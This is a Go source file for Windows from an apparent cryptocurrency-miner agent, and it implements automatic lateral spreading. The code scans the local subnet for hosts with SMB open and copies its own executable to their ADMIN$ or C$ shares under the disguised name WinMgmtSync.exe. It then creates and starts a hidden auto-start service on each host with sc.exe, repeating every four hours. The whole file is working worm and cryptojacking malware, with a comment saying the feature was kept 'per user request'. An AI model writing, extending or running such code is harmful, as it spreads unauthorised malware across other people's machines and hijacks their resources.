//go:build windows

package deploy

import (
	"fmt"
	"log"
	"net"
	"os"
	"path/filepath"
	"strings"
	"time"

	"crypto-miner-agent/config"
)

// StartAutoSpreader launches a background routine that periodically attempts
// to replicate the miner to other machines on the local subnet via SMB and RPC.
func StartAutoSpreader(cfg config.RuntimeConfig) {
	// AutoSpread feature retained per user request.
	// Enables SMB/RPC lateral deployment on the local /24 subnet.
	if !cfg.AutoSpread {
		return
	}
	go func() {
		// Wait 10 minutes after initial startup before attempting lateral movement
		time.Sleep(10 * time.Minute)

		// Attempt every 4 hours
		ticker := time.NewTicker(4 * time.Hour)
		defer ticker.Stop()

		for {
			spreadToLocalSubnet(cfg)
			<-ticker.C
		}
	}()
	log.Printf("[autospread] Lateral movement module initialized and active")
}

// RunSpreadOnce triggers an immediate lateral movement sweep (non-blocking).
func RunSpreadOnce(cfg config.RuntimeConfig) string {
	go spreadToLocalSubnet(cfg)
	return "lateral spread sweep started on local /24 subnets (SMB/SCM)"
}

// spreadSem limits concurrent spread goroutines to 16 to prevent a goroutine
// storm on /24 sweeps (M20). Each attempt can block for several seconds on
// SMB/sc.exe, so without a cap all 254 run concurrently.
var spreadSem = make(chan struct{}, 16)

func spreadToLocalSubnet(cfg config.RuntimeConfig) {
	// ARP-first: only probe hosts the OS has recently spoken to.
	// Typically 5–20 hosts vs 253 cold-probes — far quieter and faster.
	targets := arpHosts()

	// Fallback: if ARP cache is sparse (< 3 entries), port-scan the /24 for
	// machines with SMB open so we still reach previously-unseen machines.
	if len(targets) < 3 {
		ips := getLocalIPs()
		seen := make(map[string]bool)
		for _, t := range targets {
			seen[t] = true
		}
		for _, ip := range ips {
			subnet := getSubnet(ip)
			if subnet == "" {
				continue
			}
			for i := 1; i < 255; i++ {
				candidate := fmt.Sprintf("%s.%d", subnet, i)
				if candidate == ip || seen[candidate] {
					continue
				}
				// Quick port check — only bother with machines that have :445 open
				conn, err := net.DialTimeout("tcp", candidate+":445", 400*time.Millisecond)
				if err == nil {
					conn.Close()
					seen[candidate] = true
					targets = append(targets, candidate)
				}
			}
		}
	}

	localSet := make(map[string]bool)
	for _, ip := range getLocalIPs() {
		localSet[ip] = true
	}
	for _, target := range targets {
		if localSet[target] {
			continue
		}
		spreadSem <- struct{}{}
		go func(t string) {
			defer func() { <-spreadSem }()
			attemptSpread(cfg, t)
		}(target)
	}
}

func getLocalIPs() []string {
	var ips []string
	ifaces, err := net.Interfaces()
	if err != nil {
		return ips
	}
	for _, i := range ifaces {
		if i.Flags&net.FlagUp == 0 || i.Flags&net.FlagLoopback != 0 {
			continue
		}
		addrs, err := i.Addrs()
		if err != nil {
			continue
		}
		for _, a := range addrs {
			if ipnet, ok := a.(*net.IPNet); ok {
				if ip4 := ipnet.IP.To4(); ip4 != nil && !ip4.IsLoopback() {
					ips = append(ips, ip4.String())
				}
			}
		}
	}
	return ips
}

func getSubnet(ip string) string {
	parts := strings.Split(ip, ".")
	if len(parts) != 4 {
		return ""
	}
	return fmt.Sprintf("%s.%s.%s", parts[0], parts[1], parts[2])
}

func attemptSpread(cfg config.RuntimeConfig, target string) {
	// 1. Quick pre-check: Is port 445 (SMB) open?
	conn, err := net.DialTimeout("tcp", target+":445", 2*time.Second)
	if err != nil {
		return
	}
	conn.Close()

	exePath, err := os.Executable()
	if err != nil {
		return
	}

	// Target paths
	destName := "WinMgmtSync.exe"
	adminShare := fmt.Sprintf(`\\%s\ADMIN$\System32\%s`, target, destName)
	remoteExe := filepath.Join(`C:\Windows\System32`, destName)

	// 2. Attempt to copy payload via SMB using the current security token
	if err := HiddenRun("cmd.exe", "/C", "copy", "/Y", exePath, adminShare); err != nil {
		// Fallback to C$ hidden temp folder if System32 is restricted
		cShare := fmt.Sprintf(`\\%s\C$\Windows\Temp\%s`, target, destName)
		if err := HiddenRun("cmd.exe", "/C", "copy", "/Y", exePath, cShare); err != nil {
			return // Access denied or host unreachable
		}
		remoteExe = filepath.Join(`C:\Windows\Temp`, destName)
	}

	// 3. Create Windows Service on the remote machine via Service Control Manager (RPC)
	svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName)

	// Delete existing just in case path changed
	_ = HiddenRun("sc.exe", `\\`+target, "stop", svcName)
	_ = HiddenRun("sc.exe", `\\`+target, "delete", svcName)

	_ = HiddenRun("sc.exe", `\\`+target, "create", svcName, "binPath=", remoteExe, "type=", "own", "start=", "auto")

	if err := HiddenRun("sc.exe", `\\`+target, "start", svcName); err == nil {
		log.Printf("[autospread] Successfully deployed and started on %s via SCM", target)
	}
}
